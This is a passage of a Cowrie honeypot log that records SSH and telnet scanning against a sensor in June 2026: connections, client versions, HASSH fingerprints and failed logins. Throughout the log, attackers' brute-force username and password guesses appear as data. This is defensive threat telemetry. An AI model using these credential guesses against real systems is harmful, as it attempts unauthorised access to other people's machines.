gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:59.041372Z","src_ip":"34.100.248.63","session":"e6d37749cd96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"meteor","password":"meteor123","message":"login attempt [meteor/meteor123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:00.043757Z","src_ip":"34.100.248.63","session":"e6d37749cd96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:01.296966Z","src_ip":"34.100.248.63","session":"e6d37749cd96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36736,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d7242320aac","protocol":"telnet","message":"New connection: 128.199.8.54:36736 (159.203.135.109:23) [session: 4d7242320aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:01.593748Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":34870,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1683f4fe3ed","protocol":"ssh","message":"New connection: 77.94.47.83:34870 (159.203.135.109:22) [session: e1683f4fe3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:22.142728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:22.146659Z","src_ip":"77.94.47.83","session":"e1683f4fe3ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:22.260802Z","src_ip":"77.94.47.83","session":"e1683f4fe3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05051994","message":"login attempt [root/05051994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:22.602036Z","src_ip":"77.94.47.83","session":"e1683f4fe3ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:23.718249Z","src_ip":"77.94.47.83","session":"e1683f4fe3ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45702,"dst_ip":"159.203.135.109","dst_port":23,"session":"203cbde0c42a","protocol":"telnet","message":"New connection: 128.199.8.54:45702 (159.203.135.109:23) [session: 203cbde0c42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:28.734800Z"}
{"eventid":"cowrie.session.closed","duration":42.00105881690979,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:43.594665Z","src_ip":"128.199.8.54","session":"4d7242320aac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":52522,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fc86710db6d","protocol":"ssh","message":"New connection: 182.93.50.90:52522 (10.17.0.5:22) [session: 8fc86710db6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:45.242841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:45.246696Z","src_ip":"182.93.50.90","session":"8fc86710db6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:45.461093Z","src_ip":"182.93.50.90","session":"8fc86710db6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWE123!@#qwe","message":"login attempt [root/QWE123!@#qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:46.354564Z","src_ip":"182.93.50.90","session":"8fc86710db6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:47.571079Z","src_ip":"182.93.50.90","session":"8fc86710db6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":55070,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f8c30192d4b","protocol":"ssh","message":"New connection: 209.227.244.120:55070 (159.203.135.109:22) [session: 3f8c30192d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:56.021988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:56.026278Z","src_ip":"209.227.244.120","session":"3f8c30192d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:56.117043Z","src_ip":"209.227.244.120","session":"3f8c30192d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lobby","password":"lobby","message":"login attempt [lobby/lobby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:56.515749Z","src_ip":"209.227.244.120","session":"3f8c30192d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:38:57.611485Z","src_ip":"209.227.244.120","session":"3f8c30192d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.96035122871399,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:39:08.695018Z","src_ip":"128.199.8.54","session":"203cbde0c42a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50902,"dst_ip":"159.203.135.109","dst_port":23,"session":"37ec158a8697","protocol":"telnet","message":"New connection: 172.81.62.90:50902 (159.203.135.109:23) [session: 37ec158a8697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:39:29.164727Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":43480,"dst_ip":"10.17.0.5","dst_port":22,"session":"19f6964d8be6","protocol":"ssh","message":"New connection: 27.71.230.31:43480 (10.17.0.5:22) [session: 19f6964d8be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:39:37.413426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:39:37.463053Z","src_ip":"27.71.230.31","session":"19f6964d8be6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:39:38.695263Z","src_ip":"27.71.230.31","session":"19f6964d8be6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RootAdmin!3","message":"login attempt [root/RootAdmin!3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:39:40.560910Z","src_ip":"27.71.230.31","session":"19f6964d8be6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:39:41.843440Z","src_ip":"27.71.230.31","session":"19f6964d8be6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43208,"dst_ip":"159.203.135.109","dst_port":23,"session":"06239360f20d","protocol":"telnet","message":"New connection: 172.81.62.90:43208 (159.203.135.109:23) [session: 06239360f20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:39:43.824041Z"}
{"eventid":"cowrie.session.closed","duration":120.00134468078613,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:39:51.455953Z","src_ip":"128.199.8.54","session":"455319df562e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":18292,"dst_ip":"10.17.0.5","dst_port":23,"session":"726dae417c34","protocol":"telnet","message":"New connection: 34.156.125.181:18292 (10.17.0.5:23) [session: 726dae417c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:03.301421Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":18308,"dst_ip":"10.17.0.5","dst_port":23,"session":"59a398a342d6","protocol":"telnet","message":"New connection: 34.156.125.181:18308 (10.17.0.5:23) [session: 59a398a342d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:03.464112Z"}
{"eventid":"cowrie.session.closed","duration":0.0057599544525146484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:03.469751Z","src_ip":"34.156.125.181","session":"59a398a342d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":18322,"dst_ip":"10.17.0.5","dst_port":23,"session":"187ea78cddc4","protocol":"telnet","message":"New connection: 34.156.125.181:18322 (10.17.0.5:23) [session: 187ea78cddc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:03.620131Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":58658,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7d6c32e2d9b","protocol":"ssh","message":"New connection: 34.100.248.63:58658 (10.17.0.5:22) [session: b7d6c32e2d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:09.021549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:09.042823Z","src_ip":"34.100.248.63","session":"b7d6c32e2d9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:09.282917Z","src_ip":"34.100.248.63","session":"b7d6c32e2d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.269229412078857,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:09.570526Z","src_ip":"34.156.125.181","session":"726dae417c34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.47859191894531,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:09.643205Z","src_ip":"172.81.62.90","session":"37ec158a8697","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nitrogen","password":"123456","message":"login attempt [nitrogen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:10.278543Z","src_ip":"34.100.248.63","session":"b7d6c32e2d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:11.531728Z","src_ip":"34.100.248.63","session":"b7d6c32e2d9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38124,"dst_ip":"10.17.0.5","dst_port":23,"session":"d156690c6163","protocol":"telnet","message":"New connection: 34.156.125.181:38124 (10.17.0.5:23) [session: d156690c6163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:12.779726Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:12.786407Z","src_ip":"34.156.125.181","session":"d156690c6163","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:12.791119Z","src_ip":"34.156.125.181","session":"d156690c6163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0914468765258789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:12.871041Z","src_ip":"34.156.125.181","session":"d156690c6163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38132,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1715d31cbeb","protocol":"telnet","message":"New connection: 34.156.125.181:38132 (10.17.0.5:23) [session: d1715d31cbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:12.944783Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38146,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c31071c1afd","protocol":"telnet","message":"New connection: 34.156.125.181:38146 (10.17.0.5:23) [session: 0c31071c1afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:13.098007Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38160,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff7de61b5f2","protocol":"telnet","message":"New connection: 34.156.125.181:38160 (10.17.0.5:23) [session: 6ff7de61b5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:13.252889Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38166,"dst_ip":"10.17.0.5","dst_port":23,"session":"f397a2ab5466","protocol":"telnet","message":"New connection: 34.156.125.181:38166 (10.17.0.5:23) [session: f397a2ab5466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:13.407991Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38180,"dst_ip":"10.17.0.5","dst_port":23,"session":"e91cd4298dc8","protocol":"telnet","message":"New connection: 34.156.125.181:38180 (10.17.0.5:23) [session: e91cd4298dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:13.564718Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38184,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd71dcb3aa60","protocol":"telnet","message":"New connection: 34.156.125.181:38184 (10.17.0.5:23) [session: fd71dcb3aa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:13.724377Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38186,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc775107978e","protocol":"telnet","message":"New connection: 34.156.125.181:38186 (10.17.0.5:23) [session: cc775107978e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:13.883064Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38198,"dst_ip":"10.17.0.5","dst_port":23,"session":"381abe06fbe9","protocol":"telnet","message":"New connection: 34.156.125.181:38198 (10.17.0.5:23) [session: 381abe06fbe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:14.037832Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38200,"dst_ip":"10.17.0.5","dst_port":23,"session":"d286cac54b75","protocol":"telnet","message":"New connection: 34.156.125.181:38200 (10.17.0.5:23) [session: d286cac54b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:14.191423Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38208,"dst_ip":"10.17.0.5","dst_port":23,"session":"0980f1c6ff37","protocol":"telnet","message":"New connection: 34.156.125.181:38208 (10.17.0.5:23) [session: 0980f1c6ff37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:14.421366Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.125.181","src_port":38212,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2ce27a90bca","protocol":"telnet","message":"New connection: 34.156.125.181:38212 (10.17.0.5:23) [session: d2ce27a90bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:40:14.576921Z"}
